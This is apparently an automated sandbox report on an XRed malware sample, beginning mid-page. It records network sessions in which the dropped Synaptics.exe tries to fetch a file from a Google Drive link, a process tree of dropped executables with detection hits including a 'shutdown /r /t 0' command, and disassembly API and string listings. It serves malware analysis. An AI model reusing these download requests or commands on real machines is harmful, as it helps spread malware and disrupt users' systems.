arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:58 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.8	49930	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:59 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:59 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:59 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-qB1kidyEGcJWxyxfRkpmrw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.8	49931	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:59 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:59 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:59 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-etS8C-ogOs1wDqw3Js5w4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.8	49932	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:59 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:59 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC69vWxBpKP3ArbmTlQMcxn_lqsZmLiKzYstsKATHi-oEheqTDPQ0LCSkpz_b8Fcqh1H Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:59 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lDWj6uVI_Z9HItTdTFfC5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:59 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:59 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 44 52 68 53 4d 73 76 4b 4f 4d 57 66 48 43 66 4e 6c 61 62 4c 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="9DRhSMsvKOMWfHCfNlabLg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:59 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Target ID:	0
Start time:	14:19:56
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	6'656 bytes
MD5 hash:	06303600A3A44EB2FBCE248EB0FE9FC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000003.1493293372.00000000007F9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:20:00
Start date:	02/01/2025
Path:	C:\Program Files (x86)\1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\1.exe" 0
Imagebase:	0x400000
File size:	830'976 bytes
MD5 hash:	D026CFE00B08DA14B0A8B7F8860887D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000003.00000000.1483692540.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000003.00000000.1483692540.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Program Files (x86)\1.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Program Files (x86)\1.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:20:00
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\._cache_1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_1.exe" 0
Imagebase:	0x400000
File size:	59'392 bytes
MD5 hash:	AED710082D6986C6DCEED09D3A5EDCC6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 21%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:20:01
Start date:	02/01/2025
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	00367A9FAA8069389A97267D772563E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_Meteorite, Description: Detects Meteorite downloader, Source: 00000005.00000003.1514402089.0000000002124000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	14:20:03
Start date:	02/01/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x320000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	14:20:04
Start date:	02/01/2025
Path:	C:\Program Files (x86)\2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\2.exe" 0
Imagebase:	0x400000
File size:	4'645'376 bytes
MD5 hash:	85A57509DB3E9DFA7B4E451B8243220D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Program Files (x86)\2.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Program Files (x86)\2.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 89%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:20:05
Start date:	02/01/2025
Path:	C:\Program Files (x86)\3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\3.exe" 0
Imagebase:	0x400000
File size:	9'872 bytes
MD5 hash:	1EDB88F9EE745EAAEE2CBD8219318EB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:20:06
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\._cache_2.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_2.exe" 0
Imagebase:	0x370000
File size:	3'873'864 bytes
MD5 hash:	B7176450AEBB9572B34E875984456AC1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 12%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:20:06
Start date:	02/01/2025
Path:	C:\Program Files (x86)\4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\4.exe" 0
Imagebase:	0xe00000
File size:	346'414 bytes
MD5 hash:	39E7BE73C7531AC895F75834FDC1BCD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:20:10
Start date:	02/01/2025
Path:	C:\Windows\wic.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\wic.exe" 0
Imagebase:	0x860000
File size:	3'483'648 bytes
MD5 hash:	6AD65B03E75BC5509BA3104510178EE6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	14:20:13
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "shutdown /r /t 0"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	14:20:13
Start date:	02/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	14:20:13
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\shutdown.exe
Wow64 process (32bit):	true
Commandline:	shutdown /r /t 0
Imagebase:	0xfc0000
File size:	23'552 bytes
MD5 hash:	FCDE5AF99B82AE6137FB90C7571D40C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	14:20:23
Start date:	02/01/2025
Path:	C:\Windows\cbas.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\cbas.exe"
Imagebase:	0xf80000
File size:	295'424 bytes
MD5 hash:	9FD7C0ACC95C7F1311BDE279D0B6A03A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	14:22:07
Start date:	02/01/2025
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff698df0000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	14:22:34
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5500 -s 33616
Imagebase:	0xb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	88.9%
Total number of Nodes:	9
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00406A20 Relevance: 7.7, APIs: 5, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1587710540.0000000000406000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1587567918.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1587658860.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1587658860.0000000000404000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1587736461.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c670921fd43a50f4f938f6497018f61f5041d96101fcf9cdeb10b233845e411
Instruction ID: e6479a30e75d821938ea7dde79ac789c0e19f40ad4ec2d1cc88672ce5a0d7957
Opcode Fuzzy Hash: 5c670921fd43a50f4f938f6497018f61f5041d96101fcf9cdeb10b233845e411
Instruction Fuzzy Hash: 33511A717402524BD7206EB88C806A177A4EB43334B1A473ED5E7F73C5E7BC68268B68

Function 0040106C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

6D35AC91.MSVBVM60(VB5!6&*), ref: 00401071

Strings

VB5!6&*, xrefs: 0040106C

Memory Dump Source

Source File: 00000000.00000002.1587658860.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1587567918.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1587658860.0000000000404000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1587710540.0000000000406000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1587736461.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID: VB5!6&*
API String ID: 0-3593831657
Opcode ID: 0d679d7b5848a2acb40e1ea1edcc93dab6ddb27ce25793bf670446894b227192
Instruction ID: 18f867a201762634ffe404bcbec6099778bc674ab8fe3e8a06483c959477a87b
Opcode Fuzzy Hash: 0d679d7b5848a2acb40e1ea1edcc93dab6ddb27ce25793bf670446894b227192
Instruction Fuzzy Hash: EAD04E2108E7C68EC307077088209803FB48C1321030B02E3C1C8DE8B3C26D084DC723

Analysis Process: ._cache_1.exePID: 2384, Parent PID: 6744COMMON

Execution Graph

Execution Coverage:	3.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	31.8%
Total number of Nodes:	1491
Total number of Limit Nodes:	8

Executed Functions

Function 0040A8F0 Relevance: 324.1, APIs: 100, Strings: 84, Instructions: 2087stringwindowsleepCOMMON

Download Yara Rule

APIs

_strcmpi.MSVCRT ref: 0040A91A
_snprintf.MSVCRT ref: 0040A944
GetDesktopWindow.USER32 ref: 0040A95C
MessageBoxA.USER32(00000000), ref: 0040A95F
_strcmpi.MSVCRT ref: 0040A96D
time.MSVCRT(00000000,?), ref: 0040A992
srand.MSVCRT ref: 0040A999
GetACP.KERNEL32 ref: 0040A9A2
rand.MSVCRT ref: 0040A9DD
GetDesktopWindow.USER32 ref: 0040ABE9
MessageBoxA.USER32(00000000), ref: 0040ABEC
Sleep.KERNELBASE(00000005), ref: 0040ABFD
_strcmpi.MSVCRT ref: 0040AC34
_strcmpi.MSVCRT ref: 0040AC5D
_strcmpi.MSVCRT ref: 0040AC86
_strcmpi.MSVCRT ref: 0040AE28
strstr.MSVCRT ref: 0040AE46
strcspn.MSVCRT ref: 0040AE58
strncpy.MSVCRT ref: 0040AE6E
strstr.MSVCRT ref: 0040AE85
atoi.MSVCRT(-00000004), ref: 0040AE92
_strnicmp.MSVCRT ref: 0040AEBE
strstr.MSVCRT ref: 0040AED3
strcspn.MSVCRT ref: 0040AEE9
strncpy.MSVCRT ref: 0040AF03
strstr.MSVCRT ref: 0040AF16
atoi.MSVCRT(-00000004), ref: 0040AF27
_strcmpi.MSVCRT ref: 0040AF4C
atoi.MSVCRT(?), ref: 0040AF8B
rand.MSVCRT ref: 0040B56B
rand.MSVCRT ref: 0040B6D0
rand.MSVCRT ref: 0040B746
rand.MSVCRT ref: 0040B7B9
_strcmpi.MSVCRT ref: 0040B813
MessageBoxA.USER32(00000000,?,0041BA48,00000010), ref: 0040B889
WSACleanup.WS2_32 ref: 0040B88F
74FAE3D0.COMCTL32 ref: 0040B8A3
remove.MSVCRT ref: 0040B8CB
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000004,80000080,00000000), ref: 0040B8EE
DialogBoxParamA.USER32(?,00000067,00000000,00408AB0,00000000), ref: 0040B946
Sleep.KERNEL32(000001F4), ref: 0040B96E
WSACleanup.WS2_32 ref: 0040B979
CloseHandle.KERNEL32(?), ref: 0040B9C7
_open.MSVCRT ref: 0040BB5E
_filelength.MSVCRT ref: 0040BB73
_lseek.MSVCRT ref: 0040BB81
_read.MSVCRT ref: 0040BB8F
MessageBoxA.USER32(00000000,0041C1B8,0041C1F8,00000001), ref: 0040BBBF
_close.MSVCRT ref: 0040BBC4
MessageBoxA.USER32(00000000, Hacking tool detecting program invalid. Continue? ,WARNING,00000001), ref: 0040BBE1
_close.MSVCRT ref: 0040BBE6
_close.MSVCRT ref: 0040BBF8
MessageBoxA.USER32(00000000, Can NOT find The Hacking tool detecting program!,WARNING,00000000), ref: 0040BC2F
_spawnl.MSVCRT ref: 0040BC5C
MessageBoxA.USER32(00000000, Can't connetc nProtect Server. Continue? ,WARNING,00000001), ref: 0040BCBB
DialogBoxParamA.USER32(?,00000070,00000000,00409AC0,00000000), ref: 0040BD48
DialogBoxParamA.USER32(?,00000070,00000000,00409AC0,00000000), ref: 0040BD58
sprintf.MSVCRT ref: 0040BDE4
sprintf.MSVCRT ref: 0040BE53
sprintf.MSVCRT ref: 0040BEC7
sprintf.MSVCRT ref: 0040BF73
sprintf.MSVCRT ref: 0040BFD3
sprintf.MSVCRT ref: 0040BFF2
sprintf.MSVCRT ref: 0040C020
sprintf.MSVCRT ref: 0040C040
remove.MSVCRT ref: 0040C262
MessageBoxA.USER32(00000000,Can't execute lin.bin,0041BA48,00000000), ref: 0040C302

Strings

~!@#%^$<, xrefs: 0040AD68
Fail in Removing. Continue? , xrefs: 0040BC89
tvnet, xrefs: 0040B2C7
/u %d, xrefs: 0040C01A
&PO:, xrefs: 0040AE78, 0040AF09
usmainupd2.lineageTheBloodPledge.com, xrefs: 0040AA4F, 0040B5E8
version: %d, xrefs: 0040A939
/us, xrefs: 0040AC2E
/hongkong, xrefs: 0040ACC2
jpnupdate.ncsoft.co.kr, xrefs: 0040AAE0, 0040B794
list-k.txt, xrefs: 0040BB0F
gt0, xrefs: 0040B324
list-c-e.txt, xrefs: 0040BA06
/taiwan, xrefs: 0040AC57
kmainupd.ncsoft.co.kr, xrefs: 0040A9B8, 0040AB3D, 0040B546
/gt0, xrefs: 0040B2DA
shinbiro, xrefs: 0040AF61, 0040BF81
/tvnet, xrefs: 0040B27D
/noupdate, xrefs: 0040A967
kornet, xrefs: 0040B0C4, 0040BDF2
usmainupd2.lineageTheBloodPledge.com, xrefs: 0040AA05, 0040AA61, 0040AAC2, 0040AB20, 0040AB8A, 0040B593, 0040B5FA, 0040B65C, 0040B6F8, 0040B76E, 0040B7D4
This option is allowed only after successful auto-update. Otherwise, client can crash due to lack of some resource., xrefs: 0040ABDC, 0040ABE8
203.240.193.27, xrefs: 0040B809
TWupdate.lineage.com.tw, xrefs: 0040AA7F, 0040B619
list-e-e.txt, xrefs: 0040BA2F
/shinbiro %s %d, xrefs: 0040BFC9
list-c-k.txt, xrefs: 0040B9FF
list-t-k.txt, xrefs: 0040BA46, 0040BADF
mihosoft, xrefs: 0040B1C3
/kornet %s %s %s %s %d, xrefs: 0040BE4D
game.kornetworld.com, xrefs: 0040B0A4
Can NOT find The Hacking tool detecting program!, xrefs: 0040BC22
moya, xrefs: 0040B4A2
%s, xrefs: 0040B9AD
FindHack.exe, xrefs: 0040BB37
Lineage, xrefs: 0040A956
hitel, xrefs: 0040B1B0, 0040BED5
/portno:, xrefs: 0040B18A
dreamx, xrefs: 0040B117, 0040BE61
chollian, xrefs: 0040B493
/unitel, xrefs: 0040AE22
hanaro, xrefs: 0040B20D
/shinbiro, xrefs: 0040AF46
210.208.82.10, xrefs: 0040AAB0, 0040B64A
ktestupd.ncsoft.co.kr, xrefs: 0040B6AB
gamegw.dreamx.net, xrefs: 0040B0F7
&IP:, xrefs: 0040AE40, 0040AECD
Warning, xrefs: 0040ABE3
list-h-c.txt, xrefs: 0040BA93
/KWG, xrefs: 0040B090
/korean, xrefs: 0040AC80
/%s %d, xrefs: 0040BFEC
HKupdate.lineage.com.hk, xrefs: 0040B721
/hitel, xrefs: 0040B136
/japan, xrefs: 0040ACE8
